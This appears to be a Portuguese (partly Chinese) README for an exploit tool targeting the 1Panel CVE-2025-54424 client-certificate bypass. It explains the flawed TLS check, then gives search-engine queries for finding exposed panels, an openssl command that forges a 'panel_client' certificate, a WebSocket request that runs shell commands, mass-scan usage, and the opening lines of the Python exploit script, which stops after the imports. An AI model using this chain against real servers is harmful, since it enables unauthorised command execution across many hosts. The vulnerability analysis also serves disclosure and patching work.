
Ferramenta de exploração para 1Panel CVE-2025-54424, permitindo bypass de certificado e execução remota de comandos via WebSocket, com varredura em lote e shell interativo.
CVE-2025-54424: Ferramenta integrada para a vulnerabilidade de RCE via bypass de certificado de cliente no 1Panel (verificação + exploração)
O 1Panel é um painel de operação e manutenção de Linux moderno e de código aberto que fornece uma interface gráfica para implantar sites, gerenciar servidores e executar serviços.
Nas versões afetadas, a política de autenticação TLS do lado do Agente é tls.RequireAnyClientCert, que apenas exige que um certificado seja fornecido, mas não verifica sua confiabilidade. Um atacante pode usar um certificado autoassinado para contornar a verificação TLS e forjar o campo CN como panel_client, contornando a validação da camada de aplicação. Dessa forma, o atacante pode forjar um certificado para realizar chamadas não autorizadas de interface de execução de comandos, resultando na vulnerabilidade de execução remota de comandos.
<= v2.0.5
As consultas de reconhecimento do hunter e do fofa são as seguintes
cert.subject_org=="FIT2CLOUD"&&ip.port="9999” || cert.subject.suffix=="panel_server"
cert.subject.org="FIT2CLOUD" && port="9999" && protocol="tls" || cert.subject.cn="panel_server"
Copiado da seção de aviso de vulnerabilidade do GitHub

agent/init/router/router.go
Verificamos que a função Routers referencia a função Certificate para validação global em agent/middleware/certificate.go

Descobrimos que a função Certificate verifica se c.Request.TLS.HandshakeComplete indica comunicação via certificado

Como a determinação de verdadeiro/falso de c.Request.TLS.HandshakeComplete é feita por tls.RequireAnyClientCert na função Start do arquivo agent/server/server.go
Nota: aqui, por usar tls.RequireAnyClientCert em vez de tls.RequireAndVerifyClientCert, o RequireAnyClientCert apenas exige que o cliente forneça um certificado, sem verificar a CA emissora do certificado. Portanto, qualquer certificado autoassinado pode concluir o handshake TLS.
Em seguida, nas demais verificações da função Certificate, apenas o campo CN do certificado é validado como panel_client; o emissor do certificado não é verificado. Por fim, descobriu-se que a conexão WebSocket pode contornar a validação de Proxy-ID.

O projeto possui muitos endpoints WebSocket.
/process/ws
Formato da solicitação:{
"type": "ps", // 数据类型: ps(进程), ssh(SSH会话), net(网络连接), wget(下载进度)
"pid": 123, // 可选,指定进程ID进行筛选
"name": "process_name", // 可选,根据进程名筛选
"username": "user" // 可选,根据用户名筛选
}

/hosts/terminal
Formato da solicitação:{
"type": "cmd",
"data": "d2hvYW1pCg==" // "whoami" 的base64编码,记住不要忘记回车。
}

/containers/terminal/files/wget/processopenssl req -x509 -newkey rsa:2048 -keyout panel_client.key -out panel_client.crt -days 365 -nodes -subj "/CN=panel_client"
panel_client.crt e panel_client.key gerados no Burp, abra a solicitação ws, defina o destino e inicie a solicitação.Use a ferramenta que desenvolvi, o script CVE-2025-54424.py, para verificação e exploração em massa. As instruções de uso da ferramenta são as seguintes
Instale as dependências necessárias pip install websocket-client cryptography PySocks requests
usage: CVE-2025-54424.py [-h] (-u URL | -f FILE) [-o OUTPUT] [-t THREADS]
[--proxy PROXY]
1Panel 客户端证书绕过RCE漏洞 一体化工具 (扫描+利用)
作者: Mrxn https://github.com/Mr-xn
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL 单个目标,进入利用模式。例如: 192.168.1.100:8080
-f FILE, --file FILE 目标文件,进入批量扫描模式。
-o OUTPUT, --output OUTPUT
[扫描模式] 保存漏洞结果的文件名。
-t THREADS, --threads THREADS
[扫描模式] 并发线程数。
--proxy PROXY 为所有请求设置代理。例如: http://127.0.0.1:8080
Por exemplo, verificação de um único alvo + execução de comandos (execução interativa de comandos SSH) é mostrada na figura abaixo

import base64
import ssl
import sys
import json
import os
import tempfile
import argparse
import requests
import websocket
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
from urllib.parse import urlparse
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
import datetime
# 禁用 requests 库在禁用SSL验证时产生的警告
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
# --- 全局变量和线程锁 ---
print_lock = threading.Lock()
exploit_running = True
vulnerable_hosts = []
# --- 核心功能函数 ---